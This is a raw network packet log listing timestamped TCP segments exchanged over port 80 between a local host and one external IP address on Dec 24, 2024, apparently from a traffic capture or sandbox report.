Dec 24, 2024 22:27:18.373593092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.373635054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.374005079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.374047041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.374130011 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.374140978 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.374172926 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.374463081 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.374507904 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.374932051 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.374994040 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.375044107 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.375053883 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.375092983 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.375363111 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.375406981 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.375777960 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.375788927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.375821114 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.376143932 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.376156092 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.376194954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.376593113 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.376641035 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.376699924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.376708984 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.376749039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.547111034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.547159910 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.547169924 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.547204971 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.547287941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.547298908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.547324896 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.547339916 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.547612906 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.547625065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.547636986 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.547651052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.547657013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.547674894 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.547713041 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.548219919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.548270941 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.548428059 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.548439980 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.548471928 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.548744917 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.548799992 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.550515890 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.550525904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.550537109 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.550548077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.550565004 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.550582886 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.551172972 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.551187992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.551198959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.551209927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.551218987 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.551234961 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.551268101 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.551865101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.551876068 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.551886082 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.551898003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.551904917 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.551938057 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.552529097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.552539110 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.552548885 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.552558899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.552580118 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.552597046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.553209066 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.553220034 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.553235054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.553246021 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.553256989 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.553276062 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.553881884 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.553894043 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.553904057 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.553915024 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.553936958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.553946018 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.554507971 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.554555893 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.554677963 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.554688931 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.554730892 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.554996967 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.555042028 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.555198908 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.555210114 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.555246115 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.555531025 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.555542946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.555582047 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.555921078 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.555980921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.556032896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.556044102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.556078911 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.556351900 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.556484938 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.556838036 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.556849003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.556890011 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.557020903 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.557033062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.557074070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.557579994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.557691097 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.557702065 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.557737112 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.557760000 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.558048010 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.558119059 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.558547974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.558561087 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.558598042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.558701992 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.558713913 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.558756113 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.559309006 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.559359074 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.559436083 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.559448004 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.559484959 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.559727907 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.559778929 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.560153961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.560209036 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.560282946 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.560297966 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.560328960 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.560343027 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.560594082 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.560645103 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.561021090 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.561105013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.561150074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.561161995 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.561192036 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.561203003 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.561461926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.561534882 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.561872959 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.561939955 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.561968088 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.561978102 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.562004089 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.562016010 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.562310934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.562366962 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.562757969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.562808990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.562855005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.562866926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.562907934 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.563189983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.563230991 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.563596964 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.563648939 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.563720942 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.563733101 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.563788891 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.564016104 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.564064980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.564450979 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.564502954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.564560890 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.564574003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.564619064 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.564878941 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.565301895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.565351009 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.565429926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.565442085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.565478086 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.565742970 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.565928936 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.566147089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.566198111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.566278934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.566293955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.566315889 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.566334963 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.566607952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.567092896 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.567105055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.567138910 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.567157984 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.567260027 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.567270994 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.567311049 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.567888975 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.567934990 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.568017006 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.568028927 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.568062067 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.568320990 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.568366051 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.568738937 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.568782091 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.568839073 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.568847895 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.568886042 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.739170074 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.739242077 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.739324093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.739336014 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.739495039 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.739557981 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.739602089 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.739666939 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.739684105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.739711046 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.739727974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.740554094 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.740566969 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.740576982 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.740586996 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.740602970 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.740626097 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.740845919 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.740859032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.740890980 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.741122961 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.741133928 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.741175890 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.741667032 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.741714954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.741754055 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.741765022 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.741794109 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.742048025 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.742095947 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.742531061 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.742578983 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.742652893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.742664099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.742703915 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.742860079 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.742908001 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.743426085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.743438005 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.743478060 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.743561983 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.743571997 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.743613958 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.744281054 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.744292974 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.744303942 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.744339943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.744339943 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.744455099 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.744503021 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.745085955 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.745138884 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.745203018 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.745213985 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.745240927 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.745260954 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.745428085 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.745475054 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.745996952 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.746009111 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.746052027 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.746139050 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.746150970 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.746184111 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.746818066 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.746865034 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.746921062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.746932030 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.746968985 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.747148037 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.747198105 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.747720003 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.747731924 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.747771025 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.747895002 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.747909069 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.747945070 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.747966051 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.748533010 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.748580933 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.748631954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.748641968 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.748684883 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.748868942 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.748915911 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.749387026 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.749434948 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.749494076 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.749504089 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.749543905 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.749747038 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.749792099 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.750243902 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.750293970 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.750346899 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.750358105 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.750401020 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.750595093 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.750642061 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.751087904 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.751137018 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.751194954 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.751207113 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.751241922 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.751548052 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.751595974 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.751946926 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.751995087 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.752075911 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.752087116 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.752125978 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.752315044 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.752362013 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.752855062 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.752904892 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.752923012 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.752933025 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.752971888 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.753181934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.753230095 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.753712893 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.753762007 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.753778934 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.753791094 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.753829002 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.754031897 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.754081011 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.754528999 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.754576921 CET	49749	80	192.168.2.4	135.181.65.216
Dec 24, 2024 22:27:18.754631042 CET	80	49749	135.181.65.216	192.168.2.4
Dec 24, 2024 22:27:18.754642010 CET	80	49749	135.181.65.216	192.168.2.4
